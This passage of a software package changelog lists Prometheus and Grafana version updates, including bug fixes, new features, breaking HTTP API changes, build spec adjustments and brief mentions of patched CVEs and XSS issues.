JavaScript error when showing warning about\n out-of-sync server time. #5833\n\n - Fix `promtool test rules` panic when providing empty\n `exp_labels`. #5774\n\n - Only check last directory when discovering checkpoint\n number. #5756\n\n - Fix error propagation in WAL watcher helper functions.\n #5741\n\n - Correctly handle empty labels from alert templates.\n #5845\n\n - Update Uyuni/SUSE Manager service discovery patch\n\n + Adapt service discovery to the new Uyuni API endpoints\n\n + Modified spec file: force golang 1.12 to fix build\n issues in SLE15SP2\n\n - Update to Prometheus 2.11.2\n\ngrafana :\n\n - Update to version 7.0.3\n\n - Features / Enhancements\n\n - Stats: include all fields. #24829, @ryantxu\n\n - Variables: change VariableEditorList row action Icon to\n IconButton. #25217, @hshoff\n\n - Bug fixes\n\n - Cloudwatch: Fix dimensions of DDoSProtection. #25317,\n @papagian\n\n - Configuration: Fix env var override of sections\n containing hyphen. #25178, @marefr\n\n - Dashboard: Get panels in collapsed rows. #25079,\n @peterholmberg\n\n - Do not show alerts tab when alerting is disabled.\n #25285, @dprokop\n\n - Jaeger: fixes cascader option label duration value.\n #25129, @Estrax\n\n - Transformations: Fixed Transform tab crash & no update\n after adding first transform. #25152, @torkelo\n\n - Update to version 7.0.2\n\n - Bug fixes\n\n - Security: Urgent security patch release to fix\n CVE-2020-13379\n\n - Update to version 7.0.1\n\n - Features / Enhancements\n\n - Datasource/CloudWatch: Makes CloudWatch Logs query\n history more readable. #24795, @kaydelaney\n\n - Download CSV: Add date and time formatting. #24992,\n @ryantxu\n\n - Table: Make last cell value visible when right aligned.\n #24921, @peterholmberg\n\n - TablePanel: Adding sort order persistance. #24705,\n @torkelo\n\n - Transformations: Display correct field name when using\n reduce transformation. #25068, @peterholmberg\n\n - Transformations: Allow custom number input for binary\n operations. #24752, @ryantxu\n\n - Bug fixes\n\n - Dashboard/Links: Fixes dashboard links by tags not\n working. #24773, @KamalGalrani\n\n - Dashboard/Links: Fixes open in new window for dashboard\n link. #24772, @KamalGalrani\n\n - Dashboard/Links: Variables are resolved and limits to\n 100. #25076, @hugohaggmark\n\n - DataLinks: Bring back variables interpolation in title.\n #24970, @dprokop\n\n - Datasource/CloudWatch: Field suggestions no longer\n limited to prefix-only. #24855, @kaydelaney\n\n - Explore/Table: Keep existing field types if possible.\n #24944, @kaydelaney\n\n - Explore: Fix wrap lines toggle for results of queries\n with filter expression. #24915, @ivanahuckova\n\n - Explore: fix undo in query editor. #24797, @zoltanbedi\n\n - Explore: fix word break in type head info. #25014,\n @zoltanbedi\n\n - Graph: Legend decimals now work as expected. #24931,\n @torkelo\n\n - LoginPage: Fix hover color for service buttons. #25009,\n @tskarhed\n\n - LogsPanel: Fix scrollbar. #24850, @ivanahuckova\n\n - MoveDashboard: Fix for moving dashboard caused all\n variables to be lost. #25005, @torkelo\n\n - Organize transformer: Use display name in field order\n comparer. #24984, @dprokop\n\n - Panel: shows correct panel menu items in view mode.\n #24912, @hugohaggmark\n\n - PanelEditor Fix missing labels and description if there\n is only single option in category. #24905, @dprokop\n\n - PanelEditor: Overrides name matcher still show all\n original field names even after Field default display\n name is specified. #24933, @torkelo\n\n - PanelInspector: Makes sure Data display options are\n visible. #24902, @hugohaggmark\n\n - PanelInspector: Hides unsupported data display options\n for Panel type. #24918, @hugohaggmark\n\n - PanelMenu: Make menu disappear on button press. #25015,\n @tskarhed\n\n - Postgres: Fix add button. #25087, @phemmer\n\n - Prometheus: Fix recording rules expansion. #24977,\n @ivanahuckova\n\n - Stackdriver: Fix creating Service Level Objectives (SLO)\n datasource query variable. #25023, @papagian\n\n - Update to version 7.0.0 \n\n - Breaking changes\n\n - Removed PhantomJS: PhantomJS was deprecated in Grafana\n v6.4 and starting from Grafana v7.0.0, all PhantomJS\n support has been removed. This means that Grafana no\n longer ships with a built-in image renderer, and we\n advise you to install the Grafana Image Renderer plugin.\n\n - Dashboard: A global minimum dashboard refresh interval\n is now enforced and defaults to 5 seconds.\n\n - Interval calculation: There is now a new option Max data\n points that controls the auto interval $__interval\n calculation. Interval was previously calculated by\n dividing the panel width by the time range. With the new\n max data points option it is now easy to set $__interval\n to a dynamic value that is time range agnostic. For\n example if you set Max data points to 10 Grafana will\n dynamically set $__interval by dividing the current time\n range by 10.\n\n - Datasource/Loki: Support for deprecated Loki endpoints\n has been removed.\n\n - Backend plugins: Grafana now requires backend plugins to\n be signed, otherwise Grafana will not load/start them.\n This is an additional security measure to make sure\n backend plugin binaries and files haven't been tampered\n with. Refer to Upgrade Grafana for more information.\n\n - @grafana/ui: Forms migration notice, see @grafana/ui\n changelog\n\n - @grafana/ui: Select API change for creating custom\n values, see @grafana/ui changelog\n\n + Deprecation warnings\n\n - Scripted dashboards is now deprecated. The feature is\n not removed but will be in a future release. We hope to\n address the underlying requirement of dynamic dashboards\n in a different way. #24059\n\n - The unofficial first version of backend plugins together\n with usage of grafana/grafana-plugin-model is now\n deprecated and support for that will be removed in a\n future release. Please refer to backend plugins\n documentation for information about the new officially\n supported backend plugins.\n\n - Features / Enhancements\n\n - Backend plugins: Log deprecation warning when using the\n unofficial first version of backend plugins. #24675,\n @marefr\n\n - Editor: New line on Enter, run query on Shift+Enter.\n #24654, @davkal\n\n - Loki: Allow multiple derived fields with the same name.\n #24437, @aocenas\n\n - Orgs: Add future deprecation notice. #24502, @torkelo\n\n - Bug Fixes\n\n - @grafana/toolkit: Use process.cwd() instead of PWD to\n get directory. #24677, @zoltanbedi\n\n - Admin: Makes long settings values line break in settings\n page. #24559, @hugohaggmark\n\n - Dashboard: Allow editing provisioned dashboard JSON and\n add confirmation when JSON is copied to dashboard.\n #24680, @dprokop\n\n - Dashboard: Fix for strange 'dashboard not found' errors\n when opening links in dashboard settings. #24416,\n @torkelo\n\n - Dashboard: Fix so default data source is selected when\n data source can't be found in panel editor. #24526,\n @mckn\n\n - Dashboard: Fixed issue changing a panel from transparent\n back to normal in panel editor. #24483, @torkelo\n\n - Dashboard: Make header names reflect the field name when\n exporting to CSV file from the the panel inspector.\n #24624, @peterholmberg\n\n - Dashboard: Make sure side pane is displayed with tabs by\n default in panel editor. #24636, @dprokop\n\n - Data source: Fix query/annotation help content\n formatting. #24687, @AgnesToulet\n\n - Data source: Fixes async mount errors. #24579, @Estrax\n\n - Data source: Fixes saving a data source without failure\n when URL doesn't specify a protocol. #24497, @aknuds1\n\n - Explore/Prometheus: Show results of instant queries only\n in table. #24508, @ivanahuckova\n\n - Explore: Fix rendering of react query editors. #24593,\n @ivanahuckova\n\n - Explore: Fixes loading more logs in logs context view.\n #24135, @Estrax\n\n - Graphite: Fix schema and dedupe strategy in rollup\n indicators for Metrictank queries. #24685, @torkelo\n\n - Graphite: Makes query annotations work again. #24556,\n @hugohaggmark\n\n - Logs: Clicking 'Load more' from context overlay doesn't\n expand log row. #24299, @kaydelaney\n\n - Logs: Fix total bytes process calculation. #24691,\n @davkal\n\n - Org/user/team preferences: Fixes so UI Theme can be set\n back to Default. #24628, @AgnesToulet\n\n - Plugins: Fix manifest validation. #24573, @aknuds1\n\n - Provisioning: Use proxy as default access mode in\n provisioning. #24669, @bergquist\n\n - Search: Fix select item when pressing enter and Grafana\n is served using a sub path. #24634, @tskarhed\n\n - Search: Save folder expanded state. #24496, @Clarity-89\n\n - Security: Tag value sanitization fix in OpenTSDB data\n source. #24539, @rotemreiss\n\n - Table: Do not include angular options in options when\n switching from angular panel. #24684, @torkelo\n\n - Table: Fixed persisting column resize for time series\n fields. #24505, @torkelo\n\n - Table: Fixes Cannot read property subRows of null.\n #24578, @hugohaggmark\n\n - Time picker: Fixed so you can enter a relative range in\n the time picker without being converted to absolute\n range. #24534, @mckn\n\n - Transformations: Make transform dropdowns not cropped.\n #24615, @dprokop\n\n - Transformations: Sort order should be preserved as\n entered by user when using the reduce transformation.\n #24494, @hugohaggmark\n\n - Units: Adds scale symbol for currencies with suffixed\n symbol. #24678, @hugohaggmark\n\n - Variables: Fixes filtering options with more than 1000\n entries. #24614, @hugohaggmark\n\n - Variables: Fixes so Textbox variables read value from\n url. #24623, @hugohaggmark\n\n - Zipkin: Fix error when span contains remoteEndpoint.\n #24524, @aocenas\n\n - SAML: Switch from email to login for user login\n attribute mapping (Enterprise)\n\n - Update Makefile and spec file\n\n - Remove phantomJS patch from Makefile \n\n - Fix multiline strings in Makefile\n\n - Exclude s390 from SLE12 builds, golang 1.14 is not built\n for s390\n\n - Add instructions for patching the Grafana JavaScript\n frontend.\n\n - BuildRequires golang(API) instead of go metapackage\n version range\n\n - BuildRequires: golang(API) >= 1.14 from BuildRequires: (\n go >= 1.14 with go < 1.15 )\n\n - Update to version 6.7.3\n\n - This version fixes bsc#1170557 and its corresponding\n CVE-2020-12245\n\n - Admin: Fix Synced via LDAP message for non-LDAP external\n users. #23477, @alexanderzobnin\n\n - Alerting: Fixes notifications for alerts with empty\n message in Google Hangouts notifier. #23559,\n @hugohaggmark\n\n - AuthProxy: Fixes bug where long username could not be\n cached.. #22926, @jcmcken\n\n - Dashboard: Fix saving dashboard when editing raw\n dashboard JSON model. #23314, @peterholmberg\n\n - Dashboard: Try to parse 8 and 15 digit numbers as\n timestamps if parsing of time range as date fails.\n #21694, @jessetan\n\n - DashboardListPanel: Fixed problem with empty panel after\n going into edit mode (General folder filter being\n automatically added) . #23426, @torkelo\n\n - Data source: Handle datasource withCredentials option\n properly. #23380, @hvtuananh\n\n - Security: Fix annotation popup XSS vulnerability.\n #23813, @torkelo\n\n - Server: Exit Grafana with status code 0 if no error.\n #23312, @aknuds1\n\n - TablePanel: Fix XSS issue in header column rename\n (backport). #23814, @torkelo\n\n - Variables: Fixes error when setting adhoc variable\n values. #23580, @hugohaggmark\n\n - Update to version 6.7.2: (see installed changelog for\n the full list of changes)\n\n - BackendSrv: Adds config to response to fix issue for\n external plugins that used this property . #23032,\n @torkelo\n\n - Dashboard: Fixed issue with saving new dashboard after\n changing title . #23104, @dprokop\n\n - DataLinks: make sure we use the correct datapoint when\n dataset contains null value.. #22981, @mckn\n\n - Plugins: Fixed issue for plugins that imported dateMath\n util . #23069, @mckn\n\n - Security: Fix for dashboard snapshot original dashboard\n link could contain XSS vulnerability in url. #23254,\n @torkelo\n\n - Variables: Fixes issue with too many queries being\n issued for nested template variables after value change.\n #23220, @torkelo\n\n - Plugins: Expose promiseToDigest. #23249, @torkelo\n\n - Reporting (Enterprise): Fixes issue updating a report\n created by someone else\n\n - Update to 6.7.1: (see installed changelog for the full\n list of changes) Bug Fixes\n\n - Azure: Fixed dropdowns not showing current value.\n #22914, @torkelo\n\n - BackendSrv: only add content-type on POST, PUT requests.\n #22910, @hugohaggmark\n\n - Panels: Fixed size issue with panel internal size when\n exiting panel edit mode. #22912, @torkelo\n\n - Reporting: fixes migrations compatibility with mysql\n (Enterprise)\n\n - Reporting: Reduce default concurrency limit to 4\n (Enterprise)\n\n - Update to 6.7.0: (see installed changelog for the full\n list of changes) Bug Fixes\n\n - AngularPanels: Fixed inner height calculation for\n angular panels . #22796, @torkelo\n\n - BackendSrv: makes sure provided headers are correctly\n recognized and set. #22778, @hugohaggmark\n\n - Forms: Fix input suffix position (caret-down in Select)\n . #22780, @torkelo\n\n - Graphite: Fixed issue with query editor and next select\n metric now showing after selecting metric node . #22856,\n @torkelo\n\n - Rich History: UX adjustments and fixes. #22729,\n @ivanahuckova\n\n - Update to 6.7.0-beta1: Breaking changes\n\n - Slack: Removed Mention setting and instead introduce\n Mention Users, Mention Groups, and Mention Channel. The\n first two settings require user and group IDs,\n respectively. This change was necessary because the way\n of mentioning via the Slack API changed and mentions in\n Slack notifications no longer worked.\n\n - Alerting: Reverts the behavior of diff and percent_diff\n to not always be absolute. Something we introduced by\n mistake in 6.1.0. Alerting now support diff(),\n diff_abs(), percent_diff() and percent_diff_abs().\n #21338\n\n - Notice about changes in backendSrv for plugin authors In\n our mission to migrate away from AngularJS to React we\n have removed all AngularJS dependencies in the core data\n retrieval service backendSrv. Removing the AngularJS\n dependencies in backendSrv has the unfortunate side\n effect of AngularJS digest no longer being triggered for\n any request made with backendSrv. Because of this,\n external plugins using backendSrv directly may suffer\n from strange behaviour in the UI. To remedy this issue,\n as a plugin author you need to trigger the digest after\n a direct call to backendSrv. Bug Fixes API: Fix redirect\n issues. #22285, @papagian Alerting: Don't include\n image_url field with Slack message if empty. #22372,\n @aknuds1 Alerting: Fixed bad background color for\n default notifications in alert tab . #22660, @krvajal\n Annotations: In table panel when setting transform to\n annotation, they will now show up right away without a\n manual refresh. #22323, @krvajal Azure Monitor: Fix app\n insights source to allow for new __timeFrom and\n __timeTo. #21879, @ChadNedzlek BackendSrv: Fixes POST\n body for form data. #21714, @hugohaggmark CloudWatch:\n Credentials cache invalidation fix. #22473, @sunker\n CloudWatch: Expand alias variables when query yields no\n result. #22695, @sunker Dashboard: Fix bug with NaN in\n alerting. #22053, @a-melnyk Explore: Fix display of\n multiline logs in log panel and explore. #22057,\n @thomasdraebing Heatmap: Legend color range is incorrect\n when using custom min/max. #21748, @sv5d Security: Fixed\n XSS issue in dashboard history diff . #22680, @torkelo\n StatPanel: Fixes base color is being used for null\n values . #22646, @torkelo\n\n - Update to version 6.6.2: (see installed changelog for\n the full list of changes)\n\n - Update to version 6.6.1: (see installed changelog for\n the full list of changes)\n\n - Update to version 6.6.0: (see installed changelog for\n the full list of changes)\n\n - Update to version 6.5.3: (see installed changelog for\n the full list of changes)\n\n - Update to version 6.5.2: (see installed changelog for\n the full list of changes)\n\n - Update to version 6.5.1: (see installed changelog for\n the full list of changes)\n\n - Update to version 6.5.0 (see installed changelog for the\n full list of changes)\n\n - Update to version 6.4.5 :\n\n - Create version 6.4.5\n\n - CloudWatch: Fix high CPU load (#20579)\n\n - Add obs-service-go_modules to download required modules\n into vendor.tar.gz\n\n - Adjusted spec file to use vendor.tar.gz\n\n - Adjusted Makefile to work with new filenames\n\n - BuildRequire go1.14\n\n - Update to version 6.4.4 :\n\n - DataLinks: Fix blur issues. #19883, @aocenas\n\n - Docker: Makes it possible to parse timezones in the\n docker image. #20081, @xlson\n\n - LDAP: All LDAP servers should be tried even if one of\n them returns a connection error. #20077, @jongyllen\n\n - LDAP: No longer shows incorrectly matching groups based\n on role in debug page. #20018, @xlson\n\n - Singlestat: Fix no data / null value mapping . #19951,\n @ryantxu\n\n - Revert the spec file and make script\n\n - Remove PhantomJS dependency\n\n - Update to 6.4.3\n\n - Bug Fixes\n\n - Alerting: All notification channels should send even if\n one fails to send. #19807, @jan25\n\n - AzureMonitor: Fix slate interference with dropdowns.\n #19799, @aocenas\n\n - ContextMenu: make ContextMenu positioning aware of the\n viewport width. #19699, @krvajal\n\n - DataLinks: Fix context menu not showing in\n singlestat-ish visualisations. #19809, @dprokop\n\n - DataLinks: Fix url field not releasing focus. #19804,\n @aocenas\n\n - Datasource: Fixes clicking outside of some query editors\n required 2 clicks. #19822, @aocenas\n\n - Panels: Fixes default tab for visualizations without\n Queries Tab. #19803, @hugohaggmark\n\n - Singlestat: Fixed issue with mapping null to text.\n #19689, @torkelo\n\n - @grafana/toolkit: Don't fail plugin creation when git\n user.name config is not set. #19821, @dprokop\n\n - @grafana/toolkit: TSLint line number off by 1. #19782,\n @fredwangwang\n\n - Update to 6.4.2\n\n - Bug Fixes\n\n - CloudWatch: Changes incorrect dimension wmlid to wlmid .\n #19679, @ATTron\n\n - Grafana Image Renderer: Fixes plugin page. #19664,\n @hugohaggmark\n\n - Graph: Fixes auto decimals logic for y axis ticks that\n results in too many decimals for high values. #19618,\n @torkelo\n\n - Graph: Switching to series mode should re-render graph.\n #19623, @torkelo\n\n - Loki: Fix autocomplete on label values. #19579, @aocenas\n\n - Loki: Removes live option for logs panel. #19533,\n @davkal\n\n - Profile: Fix issue with user profile not showing more\n than sessions sessions in some cases. #19578,\n @huynhsamha\n\n - Prometheus: Fixes so results in Panel always are sorted\n by query order. #19597, @hugohaggmark\n\n - ShareQuery: Fixed issue when using -- Dashboard --\n datasource (to share query result) when dashboard had\n rows. #19610, @torkelo\n\n - Show SAML login button if SAML is enabled. #19591,\n @papagian\n\n - SingleStat: Fixes postfix/prefix usage. #19687,\n @hugohaggmark\n\n - Table: Proper handling of json data with dataframes.\n #19596, @marefr\n\n - Units: Fixed wrong id for Terabits/sec. #19611,\n @andreaslangnevyjel\n\n - Changes from 6.4.1\n\n - Bug Fixes\n\n - Provisioning: Fixed issue where empty nested keys in\n YAML provisioning caused a server crash, #19547\n\n - ImageRendering: Fixed issue with image rendering in\n enterprise build (Enterprise)\n\n - Reporting: Fixed issue with reporting service when STMP\n was disabled (Enterprise).\n\n - Changes from 6.4.0\n\n - Features / Enhancements\n\n - Build: Upgrade go to 1.12.10. #19499, @marefr\n\n - DataLinks: Suggestions menu improvements. #19396,\n @dprokop\n\n - Explore: Take root_url setting into account when\n redirecting from dashboard to explore. #19447,\n @ivanahuckova\n\n - Explore: Update broken link to logql docs. #19510,\n @ivanahuckova\n\n - Logs: Adds Logs Panel as a visualization. #19504,\n @davkal\n\n - Bug Fixes\n\n - CLI: Fix version selection for plugin install. #19498,\n @aocenas\n\n - Graph: Fixes minor issue with series override color\n picker and custom color . #19516, @torkelo\n\n - Changes from 6.4.0 Beta 2\n\n - Features / Enhancements\n\n - Azure Monitor: Remove support for cross resource queries\n (#19115)'. #19346, @sunker\n\n - Docker: Upgrade packages to resolve reported\n vulnerabilities. #19188, @marefr\n\n - Graphite: Time range expansion reduced from 1 minute to\n 1 second. #19246, @torkelo\n\n - grafana/toolkit: Add plugin creation task. #19207,\n @dprokop\n\n - Bug Fixes\n\n - Alerting: Prevents creating alerts from unsupported\n queries. #19250, @hugohaggmark\n\n - Alerting: Truncate PagerDuty summary when greater than\n 1024 characters. #18730, @nvllsvm\n\n - Cloudwatch: Fix autocomplete for Gamelift dimensions.\n #19146, @kevinpz\n\n - Dashboard: Fix export for sharing when panels use\n default data source. #19315, @torkelo\n\n - Database: Rewrite system statistics query to perform\n better. #19178, @papagian\n\n - Gauge/BarGauge: Fix issue with [object Object] in titles\n . #19217, @ryantxu\n\n - MSSQL: Revert usage of new connectionstring format\n introduced by #18384. #19203, @marefr\n\n - Multi-LDAP: Do not fail-fast on invalid credentials.\n #19261, @gotjosh\n\n - MySQL, Postgres, MSSQL: Fix validating query with\n template variables in alert . #19237, @marefr\n\n - MySQL, Postgres: Update raw sql when query builder\n updates. #19209, @marefr\n\n - MySQL: Limit datasource error details returned from the\n backend. #19373, @marefr\n\n - Changes from 6.4.0 Beta 1\n\n - Features / Enhancements\n\n - API: Readonly datasources should not be created via the\n API. #19006, @papagian\n\n - Alerting: Include configured AlertRuleTags in Webhooks\n notifier. #18233, @dominic-miglar\n\n - Annotations: Add annotations support to Loki. #18949,\n @aocenas\n\n - Annotations: Use a single row to represent a region.\n #17673, @ryantxu\n\n - Auth: Allow inviting existing users when login form is\n disabled. #19048, @548017\n\n - Azure Monitor: Add support for cross resource queries.\n #19115, @sunker\n\n - CLI: Allow installing custom binary plugins. #17551,\n @aocenas\n\n - Dashboard: Adds Logs Panel (alpha) as visualization\n option for Dashboards. #18641, @hugohaggmark\n\n - Dashboard: Reuse query results between panels . #16660,\n @ryantxu\n\n - Dashboard: Set time to to 23:59:59 when setting To time\n using calendar. #18595, @simPod\n\n - DataLinks: Add DataLinks support to Gauge, BarGauge and\n SingleStat2 panel. #18605, @ryantxu\n\n - DataLinks: Enable access to labels & field names.\n #18918, @torkelo\n\n - DataLinks: Enable multiple data links per panel. #18434,\n @dprokop\n\n - Docker: switch docker image to alpine base with\n phantomjs support. #18468, @DanCech\n\n - Elasticsearch: allow templating queries to order by\n doc_count. #18870, @hackery\n\n - Explore: Add throttling when doing live queries. #19085,\n @aocenas\n\n - Explore: Adds ability to go back to dashboard,\n optionally with query changes. #17982, @kaydelaney\n\n - Explore: Reduce default time range to last hour. #18212,\n @davkal\n\n - Gauge/BarGauge: Support decimals for min/max. #18368,\n @ryantxu\n\n - Graph: New series override transform constant that\n renders a single point as a line across the whole graph.\n #19102, @davkal\n\n - Image rendering: Add deprecation warning when PhantomJS\n is used for rendering images. #18933, @papagian\n\n - InfluxDB: Enable interpolation within ad-hoc filter\n values. #18077, @kvc-code\n\n - LDAP: Allow an user to be synchronized against LDAP.\n #18976, @gotjosh\n\n - Ldap: Add ldap debug page. #18759, @peterholmberg\n\n - Loki: Remove prefetching of default label values.\n #18213, @davkal\n\n - Metrics: Add failed alert notifications metric. #18089,\n @koorgoo\n\n - OAuth: Support JMES path lookup when retrieving user\n email. #14683, @bobmshannon\n\n - OAuth: return GitLab groups as a part of user info\n (enable team sync). #18388, @alexanderzobnin\n\n - Panels: Add unit for electrical charge - ampere-hour.\n #18950, @anirudh-ramesh\n\n - Plugin: AzureMonitor - Reapply MetricNamespace support.\n #17282, @raphaelquati\n\n - Plugins: better warning when plugins fail to load.\n #18671, @ryantxu\n\n - Postgres: Add support for scram sha 256 authentication.\n #18397, @nonamef\n\n - RemoteCache: Support SSL with Redis. #18511, @kylebrandt\n\n - SingleStat: The gauge option in now disabled/hidden\n (unless it's an old panel with it already enabled) .\n #18610, @ryantxu\n\n - Stackdriver: Add extra alignment period options. #18909,\n @sunker\n\n - Units: Add South African Rand (ZAR) to currencies.\n #18893, @jeteon\n\n - Units: Adding T,P,E,Z,and Y bytes. #18706, @chiqomar\n\n - Bug Fixes\n\n - Alerting: Notification is sent when state changes from\n no_data to ok. #18920, @papagian\n\n - Alerting: fix duplicate alert states when the alert\n fails to save to the database. #18216, @kylebrandt\n\n - Alerting: fix response popover prompt when add\n notification channels. #18967, @lzdw\n\n - CloudWatch: Fix alerting for queries with Id (using\n GetMetricData). #17899, @alex-berger\n\n - Explore: Fix auto completion on label values for Loki.\n #18988, @aocenas\n\n - Explore: Fixes crash using back button with a zoomed in\n graph. #19122, @hugohaggmark\n\n - Explore: Fixes so queries in Explore are only run if\n Graph/Table is shown. #19000, @hugohaggmark\n\n - MSSQL: Change connectionstring to URL format to fix\n using passwords with semicolon. #18384, @Russiancold\n\n - MSSQL: Fix memory leak when debug enabled. #19049,\n @briangann\n\n - Provisioning: Allow escaping literal '$' with '$$' in\n configs to avoid interpolation. #18045, @kylebrandt\n\n - TimePicker: Fixes hiding time picker dropdown in\n FireFox. #19154, @hugohaggmark\n\n - Breaking changes\n\n + Annotations There are some breaking changes in the\n annotations HTTP API for region annotations. Region\n annotations are now represented using a single event\n instead of two separate events. Check breaking changes\n in HTTP API below and HTTP API documentation for more\n details.\n\n + Docker Grafana is now using Alpine 3.10 as docker base\n image.\n\n + HTTP API\n\n - GET /api/alert-notifications now requires at least\n editor access. New /api/alert-notifications/lookup\n returns less information than /api/alert-notifications\n and can be access by any authenticated user.\n\n - GET /api/alert-notifiers now requires at least editor\n access\n\n - GET /api/org/users now requires org admin role. New\n /api/org/users/lookup returns less information than\n /api/org/users and can be access by users that are org\n admins, admin in any folder or admin of any team.\n\n - GET /api/annotations no longer returns regionId\n property.\n\n - POST /api/annotations no longer supports isRegion\n property.\n\n - PUT /api/annotations/:id no longer supports isRegion\n property.\n\n - PATCH /api/annotations/:id no longer supports isRegion\n property.\n\n - DELETE /api/annotations/region/:id has been removed.\n\n - Deprecation notes\n\n + PhantomJS\n\n - PhantomJS, which is used for rendering images of\n dashboards and panels, is deprecated and will be removed\n in a future Grafana release. A deprecation warning will\n from now on be logged when Grafana starts up if\n PhantomJS is in use. Please consider migrating from\n PhantomJS to the Grafana Image Renderer plugin.\n\n - Changes from 6.3.6\n\n - Features / Enhancements\n\n - Metrics: Adds setting for turning off total stats\n metrics. #19142, @marefr\n\n - Bug Fixes\n\n - Database: Rewrite system statistics query to perform\n better. #19178, @papagian\n\n - Explore: Fixes error when switching from prometheus to\n loki data sources. #18599, @kaydelaney\n\n - Rebase package spec. Use mostly from fedora, fix suse\n specified things and fix some errors.\n\n - Add missing directories provisioning/datasources and\n provisioning/notifiers and sample.yaml as described in\n packaging/rpm/control from upstream. Missing directories\n are shown in logfiles.\n\n - Version 6.3.5\n\n - Upgrades\n\n + Build: Upgrade to go 1.12.9.\n\n - Bug Fixes\n\n + Dashboard: Fixes dashboards init failed loading error\n for dashboards with panel links that had missing\n properties.\n\n + Editor: Fixes issue where only entire lines were being\n copied.\n\n + Explore: Fixes query field layout in splitted view for\n Safari browsers.\n\n + LDAP: multildap + ldap integration.\n\n + Profile/UserAdmin: Fix for user agent parser crashes\n grafana-server on 32-bit builds.\n\n + Prometheus: Prevents panel editor crash when switching\n to Prometheus datasource.\n\n + Prometheus: Changes brace-insertion behavior to be less\n annoying.\n\n - Version 6.3.4\n\n - Security: CVE-2019-15043 - Parts of the HTTP API allow\n unauthenticated use.\n\n - Version 6.3.3\n\n - Bug Fixes\n\n + Annotations: Fix failing annotation query when time\n series query is cancelled. #18532 1, @dprokop 1\n\n + Auth: Do not set SameSite cookie attribute if\n cookie_samesite is none. #18462 1, @papagian 3\n\n + DataLinks: Apply scoped variables to data links\n correctly. #18454 1, @dprokop 1\n\n + DataLinks: Respect timezone when displaying\n datapoint’s timestamp in graph context menu.\n #18461 2, @dprokop 1\n\n + DataLinks: Use datapoint timestamp correctly when\n interpolating variables. #18459 1, @dprokop 1\n\n + Explore: Fix loading error for empty queries. #18488 1,\n @davkal\n\n + Graph: Fixes legend issue clicking on series line icon\n and issue with horizontal scrollbar being visible on\n windows. #18563 1, @torkelo 2\n\n + Graphite: Avoid glob of single-value array variables .\n #18420, @gotjosh\n\n + Prometheus: Fix queries with label_replace remove the $1\n match when loading query editor. #18480 5, @hugohaggmark\n 3\n\n + Prometheus: More consistently allows for multi-line\n queries in editor. #18362 2, @kaydelaney 2\n\n + TimeSeries: Assume values are all numbers. #18540 4,\n @ryantxu\n\n - Version 6.3.2\n\n - Bug Fixes\n\n + Gauge/BarGauge: Fixes issue with losts thresholds and\n issue loading Gauge with avg stat. #18375 12\n\n - Version 6.3.1\n\n - Bug Fixes\n\n + PanelLinks: Fix crash issue Gauge & Bar Gauge for panels\n with panel links (drill down links). #18430 2\n\n - Version 6.3.0\n\n - Features / Enhancements\n\n + OAuth: Do not set SameSite OAuth cookie if\n cookie_samesite is None. #18392 4, @papagian 3\n\n + Auth Proxy: Include additional headers as part of the\n cache key. #18298 6, @gotjosh\n\n + Build grafana images consistently. #18224 12,\n @hassanfarid\n\n + Docs: SAML. #18069 11, @gotjosh\n\n + Permissions: Show plugins in nav for non admin users but\n hide plugin configuration. #18234 1, @aocenas\n\n + TimePicker: Increase max height of quick range dropdown.\n #18247 2, @torkelo 2\n\n + Alerting: Add tags to alert rules. #10989 13, @Thib17 1\n\n + Alerting: Attempt to send email notifications to all\n given email addresses. #16881 1, @zhulongcheng\n\n + Alerting: Improve alert rule testing. #16286 2, @marefr\n\n + Alerting: Support for configuring content field for\n Discord alert notifier. #17017 2, @jan25\n\n + Alertmanager: Replace illegal chars with underscore in\n label names. #17002 5, @bergquist 1\n\n + Auth: Allow expiration of API keys. #17678, @papagian 3\n\n + Auth: Return device, os and browser when listing user\n auth tokens in HTTP API. #17504, @shavonn 1\n\n + Auth: Support list and revoke of user auth tokens in UI.\n #17434 2, @shavonn 1\n\n + AzureMonitor: change clashing built-in Grafana\n variables/macro names for Azure Logs. #17140, @shavonn 1\n\n + CloudWatch: Made region visible for AWS Cloudwatch\n Expressions. #17243 2, @utkarshcmu\n\n + Cloudwatch: Add AWS DocDB metrics. #17241, @utkarshcmu\n\n + Dashboard: Use timezone dashboard setting when exporting\n to CSV. #18002 1, @dehrax\n\n + Data links. #17267 11, @torkelo 2\n\n + Docker: Switch base image to ubuntu:latest from\n debian:stretch to avoid security issues… #17066\n 5, @bergquist 1\n\n + Elasticsearch: Support for visualizing logs in Explore .\n #17605 7, @marefr\n\n + Explore: Adds Live option for supported datasources.\n #17062 1, @hugohaggmark 3\n\n + Explore: Adds orgId to URL for sharing purposes. #17895\n 1, @kaydelaney 2\n\n + Explore: Adds support for new loki ‘start’\n and ‘end’ params for labels endpoint.\n #17512, @kaydelaney 2\n\n + Explore: Adds support for toggling raw query mode in\n explore. #17870, @kaydelaney 2\n\n + Explore: Allow switching between metrics and logs .\n #16959 2, @marefr\n\n + Explore: Combines the timestamp and local time columns\n into one. #17775, @hugohaggmark 3\n\n + Explore: Display log lines context . #17097, @dprokop 1\n\n + Explore: Don’t parse log levels if provided by\n field or label. #17180 1, @marefr\n\n + Explore: Improves performance of Logs element by\n limiting re-rendering. #17685, @kaydelaney 2\n\n + Explore: Support for new LogQL filtering syntax. #16674\n 4, @davkal\n\n + Explore: Use new TimePicker from Grafana/UI. #17793,\n @hugohaggmark 3\n\n + Explore: handle newlines in LogRow Highlighter. #17425,\n @rrfeng 1\n\n + Graph: Added new fill gradient option. #17528 3,\n @torkelo 2\n\n + GraphPanel: Don’t sort series when legend table &\n sort column is not visible . #17095, @shavonn 1\n\n + InfluxDB: Support for visualizing logs in Explore.\n #17450 9, @hugohaggmark 3\n\n + Logging: Login and Logout actions (#17760). #17883 1,\n @ATTron\n\n + Logging: Move log package to pkg/infra. #17023,\n @zhulongcheng\n\n + Metrics: Expose stats about roles as metrics. #17469 2,\n @bergquist 1\n\n + MySQL/Postgres/MSSQL: Add parsing for day, weeks and\n year intervals in macros. #13086 6, @bernardd\n\n + MySQL: Add support for periodically reloading client\n certs. #14892, @tpetr\n\n + Plugins: replace dataFormats list with skipDataQuery\n flag in plugin.json. #16984, @ryantxu\n\n + Prometheus: Take timezone into account for step\n alignment. #17477, @fxmiii\n\n + Prometheus: Use overridden panel range for $__range\n instead of dashboard range. #17352, @patrick246\n\n + Prometheus: added time range filter to series labels\n query. #16851 3, @FUSAKLA\n\n + Provisioning: Support folder that doesn’t exist\n yet in dashboard provisioning. #17407 1, @Nexucis\n\n + Refresh picker: Handle empty intervals. #17585 1,\n @dehrax\n\n 